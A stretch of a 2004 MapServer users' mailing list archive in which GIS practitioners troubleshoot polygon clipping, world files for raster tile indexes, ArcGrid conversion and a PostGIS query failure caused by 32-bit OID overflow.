From ARyan@co.linn.or.us Sat May 1 01:38:04 2004
From: ARyan@co.linn.or.us (Ryan, Adam)
Date: Fri, 30 Apr 2004 17:38:04 -0700
Subject: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping
Message-ID: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS>
Steve, Frank, etc...
A while back Steve Lime wrote in response to a request for polygon clipping
code.
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html
He suggested using the GPC library. I checked this out and was able to get
it to work.
Is it worth trying to use GPC with either PHP mapscript or shapelib directly
and write a little routine to grab the shapes in question, convert them to
gpc ascii format, run the clip operation, and convert back to a shapefile
result? In PHP I could build the ASCII files, then call a gpc executable,
and then translate the ASCII result back into a new shapefile.
Am I exploring old technology? Is there a better way? Seems like a lot of
steps but all the really hard work has been done and it's just a matter of
reformatting data to work with the different tools.
I'd like to explore PostGis but we're a Windows shop and it's not in the
cards.
Thank you for any suggestions you might have,
Adam Ryan
GIS Analyst
Linn County GIS Department
Albany, OR 97321
aryan@co.linn.or.us
From carl.anderson@vadose.org Sat May 1 02:40:41 2004
From: carl.anderson@vadose.org (Carl Anderson)
Date: Fri, 30 Apr 2004 21:40:41 -0400
Subject: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping
In-Reply-To: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS> (from ARyan@co.linn.or.us on Fri, Apr 30, 2004 at 20:38:04 -0400)
References: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS>
Message-ID: <20040501014041.GA7639@vadose.dvg>
On 04/30/2004 08:38:04 PM, "Ryan, Adam" wrote:
>
> Steve, Frank, etc...
>
> A while back Steve Lime wrote in response to a request for polygon
> clipping
> code.
>
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html
>
> He suggested using the GPC library. I checked this out and was able
> to get
> it to work.
>
> Is it worth trying to use GPC with either PHP mapscript or shapelib
> directly
> and write a little routine to grab the shapes in question, convert
> them to
> gpc ascii format, run the clip operation, and convert back to a
> shapefile
> result? In PHP I could build the ASCII files, then call a gpc
> executable,
> and then translate the ASCII result back into a new shapefile.
>
I did that I while back and found that about 0.5% of clipped polygons
were collected wrong from the base shapes. Not a big number but
overtime it builds up....
either JTS (JAVA, http://www.vividsolutions.com/jts/) or GEOS
(C++, http://geos.refractions.net) are a better starting point
C.
From antonio.cosenza@polito.it Sat May 1 11:18:20 2004
From: antonio.cosenza@polito.it (Antonio Cosenza)
Date: Sat, 01 May 2004 12:18:20 +0200
Subject: [Mapserver-users] world files and tile indexing
In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4426@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D1224E4426@mercator.topozone.com>
Message-ID: <4093796C.304@polito.it>
It would help if you could explain what you're trying to do!
ok, i'll try tou explain you my situation!
What
format are the raster files in now,
The raster files are in jpg format. They are a set of 3 tiles NOT
GEOREFERENCED (of course, they are jpg!). But, i have a shapefile,
called tile.shp (so, georeferenced) representing the footprints of the
tiles. In tile.shp, I created a field (Path) including the absoulte
path to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i
converted the jpg files in tiff files, without the world files. I use
this mapfile configuration:
LAYER
NAME "pannelli"
STATUS ON
TYPE RASTER
TILEINDEX "./tile.shp"
TILEITEM "Path"
END
I run maplab, but an error occurs: unable to open tiff files:
Description
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php
So, i created some empty world files! This time, maplab runs without
error, but it doesn't show me the tiles. It shows me only a blank page.
Where is the problem?
and what geographic reference data
do you have for them (and in what format)?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
so, i need to convert the raster tiles in tiff format, without world
files? Right?
thanks
Ed McNierney wrote:
Antonio -
Yes, as long as the georeference information is there for the tile
index to be created (and for the image to be rendered properly).
GeoTIFFs can be used in a TILEINDEX layer without world files.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] world files and tile indexing
Hi everyvody,
is it possible to use tile indexing without world file?
thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.eduhttp://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From ed@topozone.com Sat May 1 18:39:07 2004
From: ed@topozone.com (Ed McNierney)
Date: Sat, 1 May 2004 13:39:07 -0400
Subject: [Mapserver-users] world files and tile indexing
Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4446@mercator.topozone.com>
This is a multi-part message in MIME format.
------_=_NextPart_001_01C42FA3.3437712E
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Antonio -
=20
Thanks - that is very helpful!
=20
Things seem fine, but you need to create georeference data for the
images in a way that can be used - the JPG files could have world files
(.JGW files) or the TIF files could have world files (.TFW) but you need
them. You need to create these world files. You should try to read the
coordinates from the shapefile (use shpdump) and you need to calculate
the values for the world files. With only three files you can
relatively easily do this by hand.
=20
The shapefile polygons should give you the upper-left corner coordinate
of each tile, and you should be able to calculate the size of each pixel
in X and Y units from the shapefile polygons and information about how
many pixels wide and high each image is (use tiffinfo).
=20
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242=20
_____ =20
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
Sent: Saturday, May 01, 2004 6:18 AM
To: mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
It would help if you could explain what you're trying to do! =20
ok, i'll try tou explain you my situation!
What
format are the raster files in now,=20
The raster files are in jpg format. They are a set of 3 tiles NOT
GEOREFERENCED (of course, they are jpg!). But, i have a shapefile,
called tile.shp (so, georeferenced) representing the footprints of the
tiles. In tile.shp, I created a field (Path) including the absoulte path
to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted
the jpg files in tiff files, without the world files. I use this mapfile
configuration:
LAYER
NAME "pannelli"
STATUS ON
TYPE RASTER
TILEINDEX "./tile.shp"
TILEITEM "Path"
END
I run maplab, but an error occurs: unable to open tiff files:
Description=09
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Unable to open world file for reading. in
/maplab/htdocs/common/wrapper/drawmap.php=09
Failed to draw layer named 'pannelli'. in
/maplab/htdocs/common/wrapper/drawmap.php=09
So, i created some empty world files! This time, maplab runs without
error, but it doesn't show me the tiles. It shows me only a blank page.
Where is the problem?
and what geographic reference data
do you have for them (and in what format)?
=09
- Ed
=09
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242 =20
=09
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users@lists.gis.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
=09
so, i need to convert the raster tiles in tiff format, without
world
files? Right?
=09
thanks
=09
Ed McNierney wrote:
=09
=20
Antonio -
=09
Yes, as long as the georeference information is there
for the tile=20
index to be created (and for the image to be rendered
properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world
files.
=09
- Ed
=09
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
=09
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.it]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] world files and tile indexing
=09
Hi everyvody,
is it possible to use tile indexing without world file?
=09
thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
=09
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=09
=09
=20
=09
=20
=09
=09
=09
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
=09
=20
------_=_NextPart_001_01C42FA3.3437712E
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Antonio -
Thanks - that is very =
helpful!
Things seem fine, but you need to create =
georeference data=20
for the images in a way that can be used - the JPG files could have =
world files=20
(.JGW files) or the TIF files could have world files (.TFW) but you need =
them. You need to create these world files. You should try =
to read=20
the coordinates from the shapefile (use shpdump) and you need to =
calculate the=20
values for the world files. With only three files you can =
relatively=20
easily do this by hand.
The shapefile polygons should give you the =
upper-left=20
corner coordinate of each tile, and you should be able to calculate the =
size of=20
each pixel in X and Y units from the shapefile polygons and information =
about=20
how many pixels wide and high each image is (use =
tiffinfo).
- Ed
Ed McNierney President and Chief =
Mapmaker TopoZone.com /=20
Maps a la carte, Inc. 73 Princeton Street, Suite 305 North =
Chelmsford,=20
MA 01863 ed@topozone.com (978) 251-4242 =
From: Antonio Cosenza=20
[mailto:antonio.cosenza@polito.it] Sent: Saturday, May 01, =
2004 6:18=20
AM To: mapserver-users@lists.gis.umn.edu Subject: =
Re:=20
[Mapserver-users] world files and tile indexing
It would help if you could explain what =
you're trying to do!
ok,=20
i'll try tou explain you my situation!
What
format are the raster files in now,
The raster files =
are in=20
jpg format. They are a set of 3 tiles NOT GEOREFERENCED (of =
course, they=20
are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20
representing the footprints of the tiles. In tile.shp, I created a =
field=20
(Path) including the absoulte path to tiff tiles on my disk (ex.=20
/var/www/.....F4-C4.tif).Now, i converted the jpg files in tiff =
files,=20
without the world files. I use this mapfile=20
configuration:
LAYER NAME=20
"pannelli" STATUS ON TYPE=20
RASTER TILEINDEX =
"./tile.shp" =20
TILEITEM "Path" END
I run maplab, but an error occurs: =
unable=20
to open tiff files:
Description
Unable to open world file for reading. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in=20
/maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20
=
/maplab/htdocs/common/wrapper/drawmap.php
So,=20
i created some empty world files! This time, maplab runs without error, =
but it=20
doesn't show me the tiles. It shows me only a blank page. Where is =
the=20
problem?
and what geographic reference data
do you have for them (and in what format)?
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242 =20
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.i=
t]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users@lists.g=
is.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing
so, i need to convert the raster tiles in tiff format, without world
files? Right?
thanks
Ed McNierney wrote:
Antonio -
Yes, as long as the georeference information is there for the tile=20
index to be created (and for the image to be rendered properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world files.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza@polito.i=
t]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users@lists.g=
is.umn.edu
Subject: [Mapserver-users] world files and tile indexing
Hi everyvody,
is it possible to use tile indexing without world file?
thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.g=
is.umn.eduhttp:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users
=20
------_=_NextPart_001_01C42FA3.3437712E--
From warmerdam@pobox.com Sat May 1 20:03:03 2004
From: warmerdam@pobox.com (Frank Warmerdam)
Date: Sat, 01 May 2004 15:03:03 -0400
Subject: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping
In-Reply-To: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS>
References: <614FCE5F14A6D41180C200010240D6A25B34BE@LINNMS>
Message-ID: <4093F467.7050004@pobox.com>
Ryan, Adam wrote:
> Steve, Frank, etc...
>
> A while back Steve Lime wrote in response to a request for polygon clipping
> code.
>
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html
>
> He suggested using the GPC library. I checked this out and was able to get
> it to work.
>
> Is it worth trying to use GPC with either PHP mapscript or shapelib directly
> and write a little routine to grab the shapes in question, convert them to
> gpc ascii format, run the clip operation, and convert back to a shapefile
> result? In PHP I could build the ASCII files, then call a gpc executable,
> and then translate the ASCII result back into a new shapefile.
>
> Am I exploring old technology? Is there a better way? Seems like a lot of
> steps but all the really hard work has been done and it's just a matter of
> reformatting data to work with the different tools.
Adam,
Invoking GPC externally via an ascii file interface may be too slow depending
on your needs but it is certainly doable.
From a more general point of view, it is my hope to interface the GEOS
library (http://geos.refractions.net) with OGR at some point with a convenient
mechanism to convert OGR geometries into a form usable in GEOS. So from my
point of view a GEOS is the "future" of complex geometry operations in
OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed
interface to GEOS so that it can be easily used in most/all of the mapscript
supported languages.
GEOS is the library used by PostGIS for geometry operations, but it is
independent of PostGIS. I think it does more than GPC. I was also slightly
soured on GPC because of problematic licensing issues as I recall.
So, if you have a particular need that is satisfied by passing geometries to
GPC then by all means go ahead. However, I don't forsee it as being of
strategic value. If you are interested in cooperating on swigged interfaces
for GEOS and closer integration with OGR, Shapelib or MapServer geometries
then perhaps we could get something going. I hadn't really been intending
to get started on this yet though, so you might get stuck doing quite a bit
of the heavy lifting.
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From warmerdam@pobox.com Sat May 1 20:17:56 2004
From: warmerdam@pobox.com (Frank Warmerdam)
Date: Sat, 01 May 2004 15:17:56 -0400
Subject: [Mapserver-users] arcgrid to ascii(etc)
In-Reply-To: <1083357821.4092ba7da1ffa@www.agi-lan.com>
References: <1083357821.4092ba7da1ffa@www.agi-lan.com>
Message-ID: <4093F7E4.6000400@pobox.com>
Jason M. Nielsen wrote:
> Anyone know of software that can convert arcgrid .adf files to ascii?
> _______________________________________________
Jason,
GDAL read Arc/Info binary grid files in .adf format and can export a
variety of formats including Arc/Info ASCII Grid format which is ... ASCII.
eg.
gdal_translate -of AAIGrid in_cov/w001001.adf out.grd
Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent
From ljuvrud@info-link.net Sun May 2 00:23:21 2004
From: ljuvrud@info-link.net (Mike Juvrud)
Date: Sat, 1 May 2004 18:23:21 -0500
Subject: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum
Message-ID: <000001c42fd3$4d0b5610$a8d17a41@dieter>
I'm a MapServer/PHP MapScript newbie, looking for online reference
materials, resources, sample code, etc. (beginner to advanced)...I would
appreciate links to anything you might recommend. (english or deutsch)
(I have already downloaded and gone through the tutorials, references,
samples available on the mapserver & mapscript site.)
Also - Is there a Mapserver/Mapscript forum/bulletin board online?
Will sum,
Mike Juvrud
From eduardo@consultoria.eti.br Sun May 2 03:58:10 2004
From: eduardo@consultoria.eti.br (Eduardo Patto Kanegae)
Date: Sat, 1 May 2004 23:58:10 -0300
Subject: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum
In-Reply-To: <000001c42fd3$4d0b5610$a8d17a41@dieter>
References: <000001c42fd3$4d0b5610$a8d17a41@dieter>
Message-ID: <20040502025810.10633.qmail@hm47.locaweb.com.br>
at the official website , section Documentation, u will find all u're looking for...
for deutsch reference , take a look at www.mapmedia.de ... i think they have a book about mapserver.
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br
***Fim da Mensagem / End of Message ***
On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud" escreveu:
> De: "Mike Juvrud"
> Data: Sat, 1 May 2004 18:23:21 -0500
> Para:
> Assunto: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum
>
> I'm a MapServer/PHP MapScript newbie, looking for online reference
> materials, resources, sample code, etc. (beginner to advanced)...I would
> appreciate links to anything you might recommend. (english or deutsch)
>
> (I have already downloaded and gone through the tutorials, references,
> samples available on the mapserver & mapscript site.)
>
> Also - Is there a Mapserver/Mapscript forum/bulletin board online?
>
> Will sum,
>
> Mike Juvrud
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>
From cpurvis@asg.sc.edu Sun May 2 03:59:22 2004
From: cpurvis@asg.sc.edu (Charlton Purvis)
Date: Sat, 1 May 2004 22:59:22 -0400
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
Message-ID:
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ?
If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
From gsw@globexplorer.com Sun May 2 04:11:41 2004
From: gsw@globexplorer.com (Gregory S. Williamson)
Date: Sat, 1 May 2004 20:11:41 -0700
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
Message-ID: <71E37EF6B7DCC1499CEA0316A256832801057931@loki.wc.globexplorer.net>
If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ?
If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query.
It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed.
Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out)
Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ?
Very puzzling, I agree.
Greg W.
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 7:59 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ?
If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
From cpurvis@asg.sc.edu Sun May 2 04:42:34 2004
From: cpurvis@asg.sc.edu (Charlton Purvis)
Date: Sat, 1 May 2004 23:42:34 -0400
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
Message-ID:
OK, Greg, I think we might be onto something. But it still looks very grim.
I turned on all the logging, and I notice that MS sends it this query:
LOCATION: pg_parse_query, postgres.c:464
LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
OK. That's good. Because if I stick the SELECT part at a psql prompt, I get back the row I want. And I also notice that its OID is 2185295089.
But if I look at the last sql statement in the log, it's another cursor, but the OID is wrong.
LOCATION: pg_parse_query, postgres.c:464
LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius::text,temperature_fahrenheit::text,value_temperature_celcius::text,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,institution::text,institution_url::text,institution_dods_url::text,source::text,refs::text,contact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = 2147483647
So had they kept the OID, I would be in good shape.
This isn't looking good!!!
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 11:11 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ?
If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query.
It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed.
Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out)
Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ?
Very puzzling, I agree.
Greg W.
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 7:59 PM
To: PostGIS Users Discussion; mapserver-users@lists.gis.umn.edu
Cc:
Subject: RE: [postgis-users] RE: gone are my query results
Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom.
Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message.
I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before?
Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them?
Thanks,
Charlton
-----Original Message-----
From: Gregory S. Williamson [mailto:gsw@globexplorer.com]
Sent: Sat 5/1/2004 6:20 PM
To: PostGIS Users Discussion
Cc:
Subject: [postgis-users] RE: gone are my query results
If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ?
If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled.
The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok.
I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ?
Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ?
Greg Williamson
DBA
GlobeXplorer LLC
-----Original Message-----
From: Charlton Purvis on behalf of Charlton Purvis
Sent: Sat 5/1/2004 2:46 PM
To: PostGIS Users Discussion
Cc:
Subject: gone are my query results
Hi, folks:
Bizarre and unnerving problem here.
Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work.
Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other?
If all this is OID stuff, is there any way to refresh all OID's?
Restarted . . . yes. VACUUM and ANALYZE'd . . . yes.
Thanks,
Charlton
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
_______________________________________________
postgis-users mailing list
postgis-users@postgis.refractions.net
http://postgis.refractions.net/mailman/listinfo/postgis-users
From pramsey@refractions.net Sun May 2 05:08:54 2004
From: pramsey@refractions.net (Paul Ramsey)
Date: Sat, 01 May 2004 21:08:54 -0700
Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results
In-Reply-To:
Message-ID: <6D6EE142-9BEE-11D8-85F1-000393D33C2E@refractions.net>
Got your back, Charlton :)
The problem is that your PostgreSQL oids are larger than the mapserver
row number variable can store. The oid is larger than a signed 32 bit
integer can store.
So, solution.
Do not use oid as your "unique" field. Make use of the "using unique"
clause in your data statement, and reference a different unique field
in your table. Make sure that field is indexed. If you have loaded your
data with shp2pgsql, you probably have a 'gid' field you can use that
is a primary key (and therefore already indexed).
Yours,
Paul
On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote:
> OK, Greg, I think we might be onto something. But it still looks very
> grim.
>
> I turned on all the logging, and I notice that MS sends it this query:
>
> LOCATION: pg_parse_query, postgres.c:464
> LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT
> temperature_celcius::text,asbinary(force_collection(force_2d(the_geom))
> ,'NDR'),OID::text from sst_map WHERE
> (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) =
> date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00')
> and (label_z <= 5 or label_z is null)) and (the_geom && setSRID(
> 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105
> 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') ))
>
> OK. That's good. Because if I stick the SELECT part at a psql
> prompt, I get back the row I want. And I also notice that its OID is
> 2185295089.
>
> But if I look at the last sql statement in the log, it's another
> cursor, but the OID is wrong.
>
> LOCATION: pg_parse_query, postgres.c:464
